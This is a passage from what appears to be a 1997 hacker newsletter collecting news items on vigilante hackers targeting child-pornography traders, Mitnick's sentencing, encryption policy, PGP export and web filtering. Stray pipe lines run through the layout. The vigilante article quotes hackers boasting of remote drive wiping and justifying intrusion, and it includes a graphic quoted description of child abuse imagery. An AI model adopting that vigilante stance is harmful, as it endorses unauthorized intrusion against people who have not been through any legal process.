when the victims of hacks are child pornographers - and he claims that
|
|||
|
a Secret Service agent told him so explicitly. Referring to a command
|
|||
|
to wipe out a hard drive by remote access, Se7en boasted, "Who are
|
|||
|
they going to run to? The police? 'They hacked my kiddie-porn server
|
|||
|
and rm -rf'd my computer!' Right."
|
|||
|
|
|||
|
Se7en claims to have already "taken down" a "major player" - an
|
|||
|
employee of Southwestern Bell who Se7en says was "posting ads all over
|
|||
|
the place." Se7en told Wired News that he covertly watched the man's
|
|||
|
activities for days, gathering evidence that he emailed to the
|
|||
|
president of Southwestern Bell. Pseudonymous remailers like
|
|||
|
hotmail.com and juno.com, Se7en insists, provide no security blanket
|
|||
|
for traders against hackers uncovering their true identities by
|
|||
|
cracking server logs. Se7en admits the process of gaining access to
|
|||
|
the logs is time consuming, however. Even with three hackers on the
|
|||
|
case, it "can take two or three days. We don't want to hit the wrong
|
|||
|
person."
|
|||
|
|
|||
|
A couple of days after submitting message headers and logs to the
|
|||
|
president and network administrators of Southwestern Bell, Se7en says,
|
|||
|
he got a letter saying the employee was "no longer on the payroll."
|
|||
|
|
|||
|
The hacker search for acceptance
|
|||
|
|
|||
|
Se7en's declaration of war received support on the original mailing
|
|||
|
list. "I am all for freedom of speech/expression," wrote one poster,
|
|||
|
"but there are some things that are just wrong.... I feel a certain
|
|||
|
moral obligation to the human race to do my part in cleaning up the
|
|||
|
evil."
|
|||
|
|
|||
|
Federal crackdowns targeting child pornographers are ineffective, many
|
|||
|
argued. In April, FBI director Louis Freeh testified to the Senate
|
|||
|
that the bureau operation dubbed "Innocent Images" had gathered the
|
|||
|
names of nearly 4,000 suspected child-porn traffickers into its
|
|||
|
database. Freeh admitted, however, that only 83 of those cases
|
|||
|
resulted in convictions. (The Washington Times reports that there have
|
|||
|
also been two suicides.)
|
|||
|
|
|||
|
The director's plan? Ask for more federal money to fight the "dark
|
|||
|
side of the Internet" - US$10 million.
|
|||
|
|
|||
|
Pitching in to assist the Feds just isn't the hacker way. As one
|
|||
|
poster to the DefCon list put it, "The government can't enforce laws
|
|||
|
on the Internet. We all know that. We can enforce laws on the
|
|||
|
Internet. We all know that too."
|
|||
|
|
|||
|
The DefCon list was not a unanimous chorus of praise for Se7en's plan
|
|||
|
to give the pornographers a taste of hacker terror, however. The most
|
|||
|
vocal dissenter has been Declan McCullagh, Washington correspondent
|
|||
|
for the Netly News. McCullagh is an outspoken champion of
|
|||
|
constitutional rights, and a former hacker himself. He says he was
|
|||
|
disturbed by hackers on the list affirming the validity of laws
|
|||
|
against child porn that he condemns as blatantly unconstitutional.
|
|||
|
|
|||
|
"Few people seem to realize that the long-standing federal child-porn
|
|||
|
law outlawed pictures of dancing girls wearing leotards," McCullagh
|
|||
|
wrote - alluding to the conviction of Stephen Knox, a graduate student
|
|||
|
sentenced to five years in prison for possession of three videotapes
|
|||
|
of young girls in bathing suits. The camera, the US attorney general
|
|||
|
pointed out, lingered on the girls' genitals, though they remained
|
|||
|
clothed. "The sexual implications of certain modes of dress, posture,
|
|||
|
or movement may readily put the genitals on exhibition in a lascivious
|
|||
|
manner, without revealing them in a nude display," the Feds argued -
|
|||
|
and won.
|
|||
|
|
|||
|
It's decisions like Knox v. US, and a law criminalizing completely
|
|||
|
synthetic digital images "presented as" child porn, McCullagh says,
|
|||
|
that are making the definition of child pornography unacceptably
|
|||
|
broad: a "thought crime."
|
|||
|
|
|||
|
The menace of child porn is being exploited by "censor-happy"
|
|||
|
legislators to "rein in this unruly cyberspace," McCullagh says. The
|
|||
|
rush to revile child porn on the DefCon list, McCullagh told Wired
|
|||
|
News, reminded him of the "loyalty oaths" of the McCarthy era.
|
|||
|
|
|||
|
"These are hackers in need of social acceptance," he says. "They've
|
|||
|
been marginalized for so long, they want to be embraced for stamping
|
|||
|
out a social evil." McCullagh knows his position is a difficult one to
|
|||
|
put across to an audience of hackers. In arguing that hackers respect
|
|||
|
the property rights of pornographers, and ponder the constitutionality
|
|||
|
of the laws they're affirming, McCullagh says, "I'm trying to convince
|
|||
|
hackers to respect the rule of law, when hacking systems is the
|
|||
|
opposite of that."
|
|||
|
|
|||
|
But McCullagh is not alone. As the debate over Se7en's declaration
|
|||
|
spread to the cypherpunks mailing list and alt.cypherpunks -
|
|||
|
frequented by an older crowd than the DefCon list - others expressed
|
|||
|
similar reservations over Se7en's plan.
|
|||
|
|
|||
|
"Basically, we're talking about a Dirty Harry attitude," one network
|
|||
|
technician/cypherpunk told Wired News. Though he senses "real feeling"
|
|||
|
behind Se7en's battle cry, he feels that the best way to deal with
|
|||
|
pornographers is to "turn the police loose on them." Another
|
|||
|
participant in the discussion says that while he condemns child porn
|
|||
|
as "terrible, intrinsically a crime against innocence," he questions
|
|||
|
the effectiveness of Se7en's strategy.
|
|||
|
|
|||
|
"Killing their computer isn't going to do anything," he says,
|
|||
|
cautioning that the vigilante approach could be taken up by others.
|
|||
|
"What happens if you have somebody who doesn't like abortion? At what
|
|||
|
point are you supposed to be enforcing your personal beliefs?"
|
|||
|
|
|||
|
Raising the paranoia level
|
|||
|
|
|||
|
Se7en's loathing for aficionados of newsgroups like
|
|||
|
alt.sex.pedophilia.swaps runs deeper than "belief." "I myself was
|
|||
|
abused when I was a kid," Se7en told Wired News. "Luckily, I wasn't a
|
|||
|
victim of child pornography, but I know what these kids are going
|
|||
|
through."
|
|||
|
|
|||
|
With just a few hackers working independently to crack server logs,
|
|||
|
sniff IP addresses, and sound the alarm to network administrators, he
|
|||
|
says, "We can take out one or two people a week ... and get the
|
|||
|
paranoia level up," so that "casual traders" will be frightened away
|
|||
|
from IRC rooms like "#100%preteensexfuckpics."
|
|||
|
|
|||
|
It's not JPEGs of clothed ballerinas that raise his ire, Se7en says.
|
|||
|
It's "the 4-year-olds being raped, the 6-year-old forced to have oral
|
|||
|
sex with cum running down themselves." Such images, Se7en admits, are
|
|||
|
very rare - even in online spaces dedicated to trading sexual imagery
|
|||
|
of children.
|
|||
|
|
|||
|
"I know what I'm doing is wrong. I'm trampling on the rights of these
|
|||
|
guys," he says. "But somewhere in the chain, someone is putting these
|
|||
|
images on paper before they get uploaded. Your freedom ends when you
|
|||
|
start hurting other people."
|
|||
|
|
|||
|
0xf>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Mitnick Gets 22 Month Sentence
|
|||
|
Source: LA Times
|
|||
|
Author: Julie Tamaki
|
|||
|
Date: Tuesday, June 17, 1997
|
|||
|
|
|||
|
A federal judge indicated Monday that she plans to sentence famed computer
|
|||
|
hacker Kevin Mitnick to 22 months in prison for cellular phone fraud and
|
|||
|
violating his probation from an earlier computer crime conviction.
|
|||
|
|
|||
|
The sentencing Monday is only a small part of Mitnick's legal problems.
|
|||
|
Still pending against him is a 25-count federal indictment accusing him of
|
|||
|
stealing millions of dollars in software during an elaborate hacking spree
|
|||
|
while he was a fugitive. A trial date in that case has yet to be set.
|
|||
|
|
|||
|
U.S. District Judge Mariana R. Pfaelzer on Monday held off on formally
|
|||
|
sentencing Mitnick for a week in order to give her time to draft conditions
|
|||
|
for Mitnick's probation after he serves the prison term.
|
|||
|
|
|||
|
Pfaelzer said she plans to sentence Mitnick to eight months on the cellular
|
|||
|
phone fraud charge and 14 months for violating his probation from a 1988
|
|||
|
computer-hacking conviction, Assistant U.S. Atty. Christopher Painter said.
|
|||
|
The sentences will run consecutively.
|
|||
|
|
|||
|
Mitnick faces the sentence for violating terms of his probation when he
|
|||
|
broke into Pac Bell voice mail computers in 1992 and used stolen passwords
|
|||
|
of Pac Bell security employees to listen to voice mail, Painter said. At the
|
|||
|
time, Mitnick was employed by Teltec Communications, which was under
|
|||
|
investigation by Pac Bell.
|
|||
|
|
|||
|
0x10>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: New York Judge Prohibits State Regulation of Internet
|
|||
|
Source: unknown
|
|||
|
Author: unknown
|
|||
|
Date: Friday, June 20, 1997
|
|||
|
|
|||
|
NEW YORK -- As the nation awaits a Supreme Court decision on
|
|||
|
Internet censorship, a federal district judge here today blocked
|
|||
|
New York State from enforcing its version of the federal
|
|||
|
Communications Decency Act (CDA).
|
|||
|
|
|||
|
Ruling simultaneously in ACLU v. Miller, another ACLU challenge to
|
|||
|
state Internet regulation, a Federal District Judge in Georgia
|
|||
|
today struck down a law criminalizing online anonymous speech and
|
|||
|
the use of trademarked logos as links on the World Wide Web.
|
|||
|
|
|||
|
In ALA v. Pataki, Federal District Judge Loretta A. Preska issued
|
|||
|
a preliminary injunction against the New York law, calling the
|
|||
|
Internet an area of commerce that should be marked off as a
|
|||
|
"national preserve" to protect online speakers from inconsistent
|
|||
|
laws that could "paralyze development of the Internet altogether."
|
|||
|
|
|||
|
Judge Preska, acknowledging that the New York act was "clearly
|
|||
|
modeled on the CDA," did not address the First Amendment issues
|
|||
|
raised by the ACLU's federal challenge, saying that the Commerce
|
|||
|
Clause provides "fully adequate support" for the injunction and
|
|||
|
that the Supreme Court would address the other issues in its
|
|||
|
widely anticipated decision in Reno v. ACLU. (The Court's next
|
|||
|
scheduled decision days are June 23, 25 and 26.)
|
|||
|
|
|||
|
"Today's decisions in New York and Georgia say that, whatever
|
|||
|
limits the Supreme Court sets on Congress's power to regulate the
|
|||
|
Internet, states are prohibited from acting to censor online
|
|||
|
expression," said Ann Beeson, an ACLU national staff attorney who
|
|||
|
argued the case before Judge Preska and is a member of the ACLU v.
|
|||
|
Miller and Reno v. ACLU legal teams.
|
|||
|
|
|||
|
"Taken together, these decisions send a very important and
|
|||
|
powerful message to legislators in the other 48 states that they
|
|||
|
should keep their hands off the Internet," Beeson added.
|
|||
|
|
|||
|
In a carefully reasoned, 62-page opinion, Judge Preska warned of
|
|||
|
the extreme danger that state regulation would pose to the
|
|||
|
Internet, rejecting the state's argument that the statute would
|
|||
|
even be effective in preventing so-called "indecency" from
|
|||
|
reaching minors. Further, Judge Preska observed, the state can
|
|||
|
already protect children through the vigorous enforcement of
|
|||
|
existing criminal laws.
|
|||
|
|
|||
|
"In many ways, this decision is more important for the business
|
|||
|
community than for the civil liberties community," said Chris
|
|||
|
Hansen, a senior ACLU attorney on the ALA v. Pataki legal team and
|
|||
|
lead counsel in Reno v. ACLU. "Legislatures are just about done
|
|||
|
with their efforts to regulate the business of Internet 'sin,' and
|
|||
|
have begun turning to the business of the Internet itself. Today's
|
|||
|
decision ought to stop that trend in its tracks."
|
|||
|
|
|||
|
Saying that the law would reduce all speech on the Internet to a
|
|||
|
level suitable for a six-year-old, the American Civil Liberties
|
|||
|
Union, the New York Civil Liberties Union, the American Library
|
|||
|
Association and others filed the challenge in January of this
|
|||
|
year.
|
|||
|
|
|||
|
The law, which was passed by the New York legislature late last
|
|||
|
year, provides criminal sanctions of up to four years in jail for
|
|||
|
communicating so-called "indecent" words or images to a minor.
|
|||
|
|
|||
|
In a courtroom hearing before Judge Preska in April, the ACLU
|
|||
|
presented a live Internet demonstration and testimony from
|
|||
|
plaintiffs who said that their speech had already been "chilled"
|
|||
|
by the threat of criminal prosecution.
|
|||
|
|
|||
|
"This is a big win for the people of the state of New York," said
|
|||
|
Norman Siegel, Executive Director of the New York Civil Liberties
|
|||
|
Union. "Today's ruling vindicates what we have been saying all
|
|||
|
along to Governor Pataki and legislators, that they cannot legally
|
|||
|
prevent New Yorkers from engaging in uninhibited, open and robust
|
|||
|
freedom of expression on the Internet."
|
|||
|
|
|||
|
The ALA v. Pataki plaintiffs are: the American Library
|
|||
|
Association, the Freedom to Read Foundation, the New York Library
|
|||
|
Association, the American Booksellers Foundation for Free
|
|||
|
Expression, Westchester Library System, BiblioBytes, Association
|
|||
|
of American Publishers, Interactive Digital Software Association,
|
|||
|
Magazine Publishers of America, Public Access Networks Corp.
|
|||
|
(PANIX), ECHO, NYC Net, Art on the Net, Peacefire and the American
|
|||
|
Civil Liberties Union.
|
|||
|
|
|||
|
Michael Hertz and others of the New York firm Latham & Watkins
|
|||
|
provided pro-bono assistance to the ACLU and NYCLU; Michael
|
|||
|
Bamberger of Sonnenschein Nath & Rosenthal in New York is also
|
|||
|
co-counsel in the case. Lawyers from the ACLU are Christopher
|
|||
|
Hansen, Ann Beeson and Art Eisenberg, legal director of the NYCLU.
|
|||
|
|
|||
|
0x11>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Breaking the Crypto Barrier
|
|||
|
Source: Wired
|
|||
|
Author: Chris Oakes
|
|||
|
Date: 5:03am 20.Jun.97.PDT
|
|||
|
|
|||
|
Amid a striking convergence of events bearing on
|
|||
|
US encryption policy this week, one development underlined what many see
|
|||
|
as the futility of the Clinton administration's continuing effort to
|
|||
|
block the export of strong encryption: The nearly instantaneous movement
|
|||
|
of PGP's 128-bit software from its authorized home on a Web server at
|
|||
|
MIT to at least one unauthorized server in Europe.
|
|||
|
|
|||
|
Shortly after Pretty Good Privacy's PGP 5.0 freeware was made available
|
|||
|
at MIT on Monday, the university's network manager, Jeffrey Schiller,
|
|||
|
says he read on Usenet that the software had already been transmitted to
|
|||
|
a foreign FTP server. Ban or no ban, someone on the Net had effected the
|
|||
|
instant export of a very strong piece of code. On Wednesday, Wired News
|
|||
|
FTP'd the software from a Dutch server, just like anyone with a
|
|||
|
connection could have.
|
|||
|
|
|||
|
A Commerce Department spokesman said his office was unaware of the
|
|||
|
breach.
|
|||
|
|
|||
|
The event neatly coincided with the appearance of a new Senate bill that
|
|||
|
seeks to codify the administration's crypto policy, and an announcement
|
|||
|
Wednesday that an academic/corporate team had succeeded in breaking the
|
|||
|
government's standard 56-bit code.
|
|||
|
|
|||
|
The software's quick, unauthorized spread to foreign users might have an
|
|||
|
unexpected effect on US law, legal sources noted.
|
|||
|
|
|||
|
"If [Phil] Zimmermann's [original PGP] software hadn't gotten out on the
|
|||
|
Internet and been distributed worldwide, unquestionably we wouldn't have
|
|||
|
strong encryption today," said lawyer Charles Merrill, who chairs his
|
|||
|
firm's computer and high-tech law-practice group. Actions like the PGP
|
|||
|
leak, he speculated, may further the legal flow of such software across
|
|||
|
international borders.
|
|||
|
|
|||
|
Said Robert Kohn, PGP vice president and general counsel: "We're
|
|||
|
optimistic that no longer will PGP or companies like us have to do
|
|||
|
anything special to export encryption products."
|
|||
|
|
|||
|
The Web release merely sped up a process already taking place using a
|
|||
|
paper copy of the PGP 5.0 source code and a scanner - reflecting the
|
|||
|
fact it is legal to export printed versions of encryption code.
|
|||
|
|
|||
|
On Wednesday, the operator of the International PGP Home Page announced
|
|||
|
that he had gotten his hands on the 6,000-plus-page source code, had
|
|||
|
begun scanning it, and that a newly compiled version of the software
|
|||
|
will be available in a few months.
|
|||
|
|
|||
|
Norwegian Stale Schumaker, who maintains the site, said several people
|
|||
|
emailed and uploaded copies of the program to an anonymous FTP server he
|
|||
|
maintains. But he said he deleted the files as soon as he was aware of
|
|||
|
them, because he wants to "produce a version that is 100 percent legal"
|
|||
|
by scanning the printed code.
|
|||
|
|
|||
|
The paper copy came from a California publisher of technical manuals and
|
|||
|
was printed with the cooperation of PGP Inc. and its founder, Phil
|
|||
|
Zimmermann. Schumaker says he does not know who mailed his copy.
|
|||
|
|
|||
|
"The reason why we publish the source code is to encourage peer review,"
|
|||
|
said PGP's Kohn, "so independent cryptographers can tell other people
|
|||
|
that there are no back doors and that it is truly strong encryption."
|
|||
|
|
|||
|
Schumaker says his intentions are farther-reaching.
|
|||
|
|
|||
|
"We are a handful of activists who would like to see PGP spread to the
|
|||
|
whole world," his site reads, alongside pictures of Schumaker readying
|
|||
|
pages for scanning. "You're not allowed to download the program from
|
|||
|
MIT's Web server because of the archaic laws in the US. That's why we
|
|||
|
exported the source-code books."
|
|||
|
|
|||
|
0x12>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Setback in Efforts to Secure Online Privacy
|
|||
|
Source: unknown
|
|||
|
Author: unknown
|
|||
|
Date: Thursday, June 19, 1997
|
|||
|
|
|||
|
WASHINGTON -- A Senate committee today setback legislative efforts to
|
|||
|
secure online privacy, approving legislation that would restrict the right
|
|||
|
of businesses and individuals both to use encryption domestically and to
|
|||
|
export it.
|
|||
|
|
|||
|
On a voice vote, the Senate Commerce Committee adopted legislation that
|
|||
|
essentially reflects the Clinton Administration's anti-encryption policies.
|
|||
|
|
|||
|
The legislation approved today on a voice vote by the Senate Commerce
|
|||
|
Committee was introduced this week by Senate Commerce Committee Chairman
|
|||
|
John McCain, Republican of Arizona, and co-sponsored by Democrats Fritz
|
|||
|
Hollings of South Carolina; Robert Kerry of Nebraska and John Kerry of
|
|||
|
Massachusetts.
|
|||
|
|
|||
|
Encryption programs scramble information so that it can only be read
|
|||
|
with a "key" -- a code the recipient uses to unlock the scrambled
|
|||
|
electronic data. Programs that use more than 40 bits of data to encode
|
|||
|
information are considered "strong" encryption. Currently, unless these
|
|||
|
keys are made available to the government, the Clinton Administration bans
|
|||
|
export of hardware or software containing strong encryption, treating
|
|||
|
these products as "munitions."
|
|||
|
|
|||
|
Privacy advocates continue to criticize the Administration's
|
|||
|
stance, saying that the anti-cryptography ban has considerably
|
|||
|
weakened U.S. participation in the global marketplace, in addition
|
|||
|
to curtailing freedom of speech by denying users the right to "speak"
|
|||
|
using encryption. The ban also violates the right to privacy by
|
|||
|
limiting the ability to protect sensitive information in the new
|
|||
|
computerized world.
|
|||
|
|
|||
|
Today's committee action knocked out of consideration the so-called
|
|||
|
"Pro-CODE" legislation, a pro-encryption bill introduced by Senator
|
|||
|
Conrad Burns, Republican of Montana. Although the Burns legislation
|
|||
|
raised some civil liberties concerns, it would have lifted export
|
|||
|
controls on encryption programs and generally protected individual
|
|||
|
privacy.
|
|||
|
|
|||
|
"Privacy, anonymity and security in the digital world depend on
|
|||
|
encryption," said Donald Haines, legislative counsel on privacy and
|
|||
|
cyberspace issues for the ACLU's Washington National Office. "The aim
|
|||
|
of the Pro-CODE bill was to allow U.S. companies to compete with
|
|||
|
industries abroad and lift restrictions on the fundamental right to
|
|||
|
free speech, the hallmark of American democracy."
|
|||
|
|
|||
|
"Sadly, no one on the Commerce Committee, not even Senator Burns,
|
|||
|
stood up and defended the pro-privacy, pro-encryption effort," Haines
|
|||
|
added.
|
|||
|
|
|||
|
In the House, however, strong encryption legislation that would add
|
|||
|
new privacy protections for millions of Internet users in this country and
|
|||
|
around the world has been approved by two subcommittees.
|
|||
|
|
|||
|
The legislation -- H.R. 695, the "Security and Freedom Through
|
|||
|
Encryption Act" or SAFE -- would make stronger encryption products
|
|||
|
available to American citizens and users of the Internet around the
|
|||
|
world. It was introduced by Representative Robert W. Goodlatte, Republican
|
|||
|
of Virginia.
|
|||
|
|
|||
|
"We continue to work toward the goal of protecting the privacy of all
|
|||
|
Internet users by overturning the Clinton Administration's unreasonable
|
|||
|
encryption policy," Haines concluded
|
|||
|
|
|||
|
0x13>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Captain Crunch Web Site Now Moved
|
|||
|
Source: Telecom Digest 17.164
|
|||
|
|
|||
|
The Cap'n Crunch home page URL has been changed. The new URL is now
|
|||
|
http://crunch.woz.org/crunch
|
|||
|
|
|||
|
I've made significant changes to the site, added a FAQ based on a lot
|
|||
|
of people asking me many questions about blue boxing, legal stuff, and
|
|||
|
hacking in general. The FAQ will be growing all the time, as I go
|
|||
|
through all the requests for information that many people have sent.
|
|||
|
"Email me" if you want to add more questions.
|
|||
|
|
|||
|
Our new server is now available to host web sites for anyone who wants
|
|||
|
to use it for interesting projects. This is for Elite people only,
|
|||
|
and you have to send me a proposal on what you plan to use it for.
|
|||
|
|
|||
|
[So now old John gets to decide who is elite and who isn't.]
|
|||
|
|
|||
|
I'm open for suggestions, and when you go up to the WebCrunchers web
|
|||
|
site: http://crunch.woz.org
|
|||
|
|
|||
|
You'll get more details on that. Our server is a Mac Power PC,
|
|||
|
running WebStar web server, connected through a T-1 link to the
|
|||
|
backbone. I know that the Mac Webserver might be slower, but I had
|
|||
|
security in mind when I picked it. Besides, I didn't pick it, Steve
|
|||
|
Wozniak did... :-) So please don't flame me for using a Mac.
|
|||
|
|
|||
|
I know that Mac's are hated by hackers, but what the heck ... at least
|
|||
|
we got our OWN server now.
|
|||
|
|
|||
|
I also removed all the blatant commercial hipe from the home page and
|
|||
|
put it elsewhere. But what the heck ... I should disserve to make
|
|||
|
SOME amount of money selling things like T-shirts and mix tapes.
|
|||
|
|
|||
|
We plan to use it for interesting projects, and I want to put up some
|
|||
|
Audio files of Phone tones. For instance, the sound of a blue box
|
|||
|
call going through, or some old sounds of tandom stacking. If there
|
|||
|
are any of you old-timers out there that might have some interesting
|
|||
|
audio clips of these sounds, please get in touch with me.
|
|||
|
|
|||
|
[There is already a page out there with those sounds and a lot more..
|
|||
|
done by someone who discovered phreaking on their own. Little known
|
|||
|
fact because of all the obscurement: John Draper did not discover
|
|||
|
blue boxing. It was all taught to him.]
|
|||
|
|
|||
|
Our new Domain name registration will soon be activated, and at that
|
|||
|
time our URL will be:
|
|||
|
|
|||
|
http://www.webcrunchers.com - Our Web hosting server
|
|||
|
http://www.webcrunchers.com/crunch - Official Cap'n Crunch home page
|
|||
|
|
|||
|
Regards,
|
|||
|
Cap'n Crunch
|
|||
|
|
|||
|
0x14>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: US Justive Dept. Investigating Network Solutions
|
|||
|
Source: New York Times
|
|||
|
Author: Agis Salpukas
|
|||
|
Date: 7 July '97
|
|||
|
|
|||
|
The Justice Department has begun an investigation into the
|
|||
|
practice of assigning Internet addresses to determine if the
|
|||
|
control that Network Solutions Inc. exercises over the process
|
|||
|
amounts to a violation of antitrust laws.
|
|||
|
|
|||
|
The investigation was disclosed by the company Thursday in
|
|||
|
documents filed with the Securities and Exchange Commission. The
|
|||
|
filing came as part of a proposed initial stock offering that is
|
|||
|
intended to raise $35 million.
|
|||
|
|
|||
|
The investigation was first reported in The Washington Post on
|
|||
|
Sunday.
|
|||
|
|
|||
|
Network Solutions, which is based in Herndon, Va., and is a
|
|||
|
subsidiary of Science Applications International Corp., has been
|
|||
|
the target of a growing chorus of complaints and two dozen
|
|||
|
lawsuits as the Internet has expanded and the competition for
|
|||
|
these addresses, or domain names, has grown more intense.
|
|||
|
|
|||
|
0x15>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Cyber Patrol Bans Crypt Newsletter
|
|||
|
Source: Crypt Newsletter
|
|||
|
Author: George Smith
|
|||
|
Date: June 19, 1997
|
|||
|
|
|||
|
Hey, buddy, did you know I'm a militant extremist? Cyber Patrol, the
|
|||
|
Net filtering software designed to protect your children from
|
|||
|
cyberfilth, says so. Toss me in with those who sleep with a copy of
|
|||
|
"The Turner Diaries" under their pillows and those who file nuisance
|
|||
|
liens against officials of the IRS. Seems my Web site is dangerous
|
|||
|
viewing.
|
|||
|
|
|||
|
I discovered I was a putative militant extremist while reading a
|
|||
|
story on Net censorship posted on Bennett Haselton's PeaceFire
|
|||
|
Web site. Haselton is strongly critical of Net filtering software and
|
|||
|
he's had his share of dustups with vendors like Cyber Patrol, who
|
|||
|
intermittently ban his site for having the temerity to be a naysayer.
|
|||
|
|
|||
|
Haselton's page included some links so readers could determine what
|
|||
|
other Web pages were banned by various Net filters. On a lark, I typed
|
|||
|
in the URL of the Crypt Newsletter, the publication I edit. Much to my
|
|||
|
surprise, I had been banned by Cyber Patrol. The charge? Militant
|
|||
|
extremism. Cyber Patrol also has its own facility for checking if a
|
|||
|
site is banned, called the CyberNOT list. Just to be sure, I
|
|||
|
double-checked. Sure enough, I was a CyberNOT.
|
|||
|
|
|||
|
Now you can call me Ray or you can call me Joe, but don't ever call me
|
|||
|
a militant extremist! I've never even seen one black helicopter
|
|||
|
transporting U.N. troops to annex a national park.
|
|||
|
|
|||
|
However, nothing is ever quite as it seems on the Web and before I
|
|||
|
went into high dudgeon over political censorship--the Crypt Newsletter
|
|||
|
has been accused of being "leftist" for exposing various
|
|||
|
government, academic, and software industry charlatans--I told some of
|
|||
|
my readership. Some of them wrote polite--well, almost polite--letters
|
|||
|
to Debra Greaves, Cyber Patrol's head of Internet research. And
|
|||
|
Greaves wrote back almost immediately, indicating it had all been a
|
|||
|
mistake.
|
|||
|
|
|||
|
My Web site was blocked as a byproduct of a ban on another page on the
|
|||
|
same server. "We do have a [blocked] site off of that server with a
|
|||
|
similar directory. I have modified the site on our list to be more
|
|||
|
unique so as to not affect [your site] any longer," she wrote.
|
|||
|
|
|||
|
Perhaps I should have been reassured that Cyber Patrol wasn't banning
|
|||
|
sites for simply ridiculing authority figures, a favorite American
|
|||
|
past time. But if anything, I was even more astonished to discover th
|
|||
|
company's scattershot approach to blocking. It doesn't include precise
|
|||
|
URLs in its database. Instead, it prefers incomplete addresses that
|
|||
|
block everything near the offending page. The one that struck down
|
|||
|
Crypt News was "soci.niu.edu/~cr," a truncated version of my complete
|
|||
|
URL. In other words: any page on the machine that fell under "~cr" was
|
|||
|
toast.
|
|||
|
|
|||
|
Jim Thomas, a sociology professor at Northern Illinois University,
|
|||
|
runs this particular server, and it was hard to imagine what would be
|
|||
|
militantly extreme on it. Nevertheless, I ran the news by Thomas. It
|
|||
|
turns out that the official home page of the American Society of
|
|||
|
Criminology's Critical Criminology Division, an academic resource,
|
|||
|
was the target. It features articles from a scholarly criminology
|
|||
|
journal and has the hubris to be on record as opposing the death
|
|||
|
penalty but didn't appear to have anything that would link it with
|
|||
|
bomb-throwing anarchists, pedophiles, and pornographers.
|
|||
|
|
|||
|
There was, however, a copy of the Unabomber Manifesto on the page.
|
|||
|
|
|||
|
I told Thomas I was willing to bet $1,000 cash money that Ted
|
|||
|
Kaczynski's rant was at the root of Cyber Patrol's block.
|
|||
|
Thomas confirmed it, but I can't tell you his exact words. It
|
|||
|
might get this page blocked, too.
|
|||
|
|
|||
|
What this boils down to is that Cyber Patrol is banning writing on the
|
|||
|
Web that's been previously published in a daily newspaper: The
|
|||
|
Washington Post. It can also be said the Unabomber Manifesto already
|
|||
|
has been delivered to every corner of American society.
|
|||
|
|
|||
|
If the ludicrous quality of this situation isn't glaring enough,
|
|||
|
consider that one of Cyber Patrol's partners, CompuServe, promoted the
|
|||
|
acquisition of electronic copies of the Unabomber Manifesto after it
|
|||
|
published by the Post. And these copies weren't subject to any
|
|||
|
restrictions that would hinder children from reading them. In fact,
|
|||
|
I've never met anyone from middle-class America who said, "Darn those
|
|||
|
irresponsible fiends at the Post! Now my children will be inspired to
|
|||
|
retreat to the woods, write cryptic essays attacking techno-society,
|
|||
|
and send exploding parcels to complete strangers."
|
|||
|
|
|||
|
Have you?
|
|||
|
|
|||
|
So, will somebody explain to me how banning the Unabomber Manifesto,
|
|||
|
the ASC's Critical Criminology home page, and Crypt Newsletter
|
|||
|
protects children from smut and indecency? That's a rhetorical
|
|||
|
question.
|
|||
|
|
|||
|
Cyber Patrol is strongly marketed to public libraries, and has been
|
|||
|
acquired by some, in the name of protecting children from Net
|
|||
|
depravity.
|
|||
|
|
|||
|
Funny, I thought a public library would be one of the places you'd be
|
|||
|
more likely to find a copy of the Unabomber Manifesto.
|
|||
|
|
|||
|
0x16>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Some humor on media hacks and hackers
|
|||
|
Source: Defcon Mailing List
|
|||
|
Author: George Smith / Crypt Newsletter
|
|||
|
|
|||
|
In as fine a collection of stereotypes as can be found, the
|
|||
|
Associated Press furnished a story on July 14 covering the annual
|
|||
|
DefCon hacker get together in Las Vegas. It compressed at least
|
|||
|
one hoary cliche into each paragraph.
|
|||
|
|
|||
|
Here is a summary of them.
|
|||
|
|
|||
|
The lead sentence: "They're self-described nerds . . . "
|
|||
|
|
|||
|
Then, in the next sentence, "These mostly gawky, mostly male
|
|||
|
teen-agers . . . also are the country's smartest and slyest computer
|
|||
|
hackers."
|
|||
|
|
|||
|
After another fifty words, "These are the guys that got beat up in
|
|||
|
high school and this is their chance to get back . . . "
|
|||
|
|
|||
|
Add a sprinkling of the obvious: "This is a subculture of
|
|||
|
computer technology . . ."
|
|||
|
|
|||
|
Stir in a paraphrased hacker slogan: "Hacking comes from an
|
|||
|
intellectual desire to figure out how things work . . ."
|
|||
|
|
|||
|
A whiff of crime and the outlaw weirdo: "Few of these wizards will
|
|||
|
identify themselves because they fear criminal prosecution . . . a
|
|||
|
25-year-old security analyst who sports a dog collar and nose ring, is
|
|||
|
cautious about personal information."
|
|||
|
|
|||
|
Close with two bromides that reintroduce the stereotype:
|
|||
|
|
|||
|
"Hackers are not evil people. Hackers are kids."
|
|||
|
|
|||
|
As a simple satirical exercise, Crypt News rewrote the Associated
|
|||
|
Press story as media coverage of a convention of newspaper editors.
|
|||
|
|
|||
|
It looked like this:
|
|||
|
|
|||
|
LAS VEGAS -- They're self-described nerds, dressing in starched
|
|||
|
white shirts and ties.
|
|||
|
|
|||
|
These mostly overweight, mostly male thirty, forty and
|
|||
|
fiftysomethings are the country's best known political pundits,
|
|||
|
gossip columnists and managing editors. On Friday, more than 1,500 of
|
|||
|
them gathered in a stuffy convention hall to swap news and network.
|
|||
|
|
|||
|
"These are the guys who ate goldfish and dog biscuits at frat parties
|
|||
|
in college and this is their time to strut," said Drew Williams,
|
|||
|
whose company, Hill & Knowlton, wants to enlist the best editors
|
|||
|
and writers to do corporate p.r.
|
|||
|
|
|||
|
"This is a subculture of corporate communicators," said Williams.
|
|||
|
|
|||
|
Journalism comes from an intellectual desire to be the town crier
|
|||
|
and a desire to show off how much you know, convention-goers said.
|
|||
|
Circulation numbers and ad revenue count for more than elegant prose
|
|||
|
and an expose on the President's peccadillos gains more esteem from
|
|||
|
ones' peers than klutzy jeremiads about corporate welfare and
|
|||
|
white-collar crime.
|
|||
|
|
|||
|
One group of paunchy editors and TV pundits were overheard
|
|||
|
joking about breaking into the lecture circuit, where one
|
|||
|
well-placed talk to a group of influential CEOs or military
|
|||
|
